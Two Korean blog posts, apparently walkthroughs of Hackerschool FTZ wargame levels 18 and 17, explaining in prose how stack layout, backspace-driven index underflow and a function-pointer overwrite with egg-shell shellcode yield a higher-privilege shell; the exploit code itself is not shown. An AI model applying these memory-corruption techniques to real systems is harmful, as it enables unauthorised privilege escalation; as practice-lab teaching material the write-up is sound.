당황하지 말고 코드를 차례차례 분석해봅시다 .


변수 선언부부터 천천히 보도록 하겠습니다 
string[100] check x count 이렇게 선언이 되어있네요 .
여기서부터 중요한 부분이 시작됩니다 .
저희는 저러한 코드의 배열 선언 순서때문에 "string"으로는 버퍼 오버플로우를 시켜도 "check" 값 변조를 못한다는겁니다 .
이유는 스택의 구조때문입니다.
string 배열이 먼저쌓이고 check변수가 그 후에 쌓이고 그 후는 x...count 이렇게 쌓이기때문입니다 .
대략적인 스택 구조입니다

count
x
check
string
sfp
ret
이순으로 쌓이기때문입니다 .


그 아래로 while문을 봐보겠습니다
count가 100이상이면 What are you trying to do?라는 문구를 출력합니다
만약 check이 0xdeadbeef면 shellout()함수를 실행시키네요

맨아래 shellout이 있네요 
level19의 권한을 할당해주네요!
그렇다면  check에 0xdeadbeef 를 넣는게 이번 문제의 클리어 방법이겠습니다.


가져온 1Byte 값이 \r ,\n이면 소리(\a)를 내고 종료합니다.
1Byte값이 0x08인 경우 count의 값이 감소하네요
다른 값이 들어오면 count를 증가시키네요 
자 여기서 이제 gdb로 각 변수들의 위치를 찾아봅시다!

ebp-108에 x가 초기화되고
ebp-112에 count가 초기화 되는것을 알 수 있습니다 .


ebp-104에 check가 초기화 되는것을 알 수 있습니다 .


아! 256의 공간이 할당되었습니다! 
자 그렇다면 간단히 스택을 그려봅시다 


        <ebp-112  -----낮은주소
count    
         <ebp-108
x        
         <ebp-104  
check
         <ebp-100
string
         <ebp
sfp
ret                 -----높은주소

자 여기서 check값이 string보다 더 낮은 주소에 위치하고있어서 평소처럼 버포 오버플로우를 사용해서는 check값을 변경시킬 수는 없습니다!
허나 케이스문을 다시 한번 봐보자!

0x08을 넣으면 count--가 된다고 한다 
그렇다면 0x08을 쓰면 string ebp-100에서 낮은주소로 메모리상에서 올라갈 수 있지않을까? 
그렇다면 0x08을 4번사용해서 스택의 영역을 check부분으로 옮기면 될거같네요!


 
level19의 권한을 습득했습니다!
뭔가 좀 복잡하고 gdb분석도 어려웟으나 실제로도 많이 일어나는 취약점이라 하니 
눈여겨셔 공부하시면 좋겠습니다!

'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24


힌트를 봐봅시다! 
아까와 비슷한 소스로 구성되잇는데 이번에는 쉘을 불러주는 함수가 없어졋네요 ?
그래서 저는 그냥 간단하게 제가 직접 call에 들어가는 printit 주소 대신에
쉘코드를 직접 에그쉘로 구하여 꽂아넣어버렸습니다..

main + 3을 보시면 0x38(56)을 할당받았습니다 .

그리고  main+6에서 printit의 주소가 들어가는군요 


printit의 주소를 확인할 수 있습니다 .

자 그러면 printit에 대신에 에그쉘을 이용해서 나온 쉘 주소값을 때려박아주겟습니다!

그럼 총 공격코드는 이렇게되겠죠 ?


쉘 주소값은 각자 에그쉘을 이용하여서 구하셔야합니다! 
level 16을 응용해서 푸니 3분도 안걸리는 너무 간단한 문제였네요!


'해커스쿨 ftz' 카테고리의 다른 글

FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24
FTZ-LEVEL15 [gdb로 푸는법]  (0) 2016.04.24
FTZ - LEVEL14  (0) 2016.04.24

+ Recent posts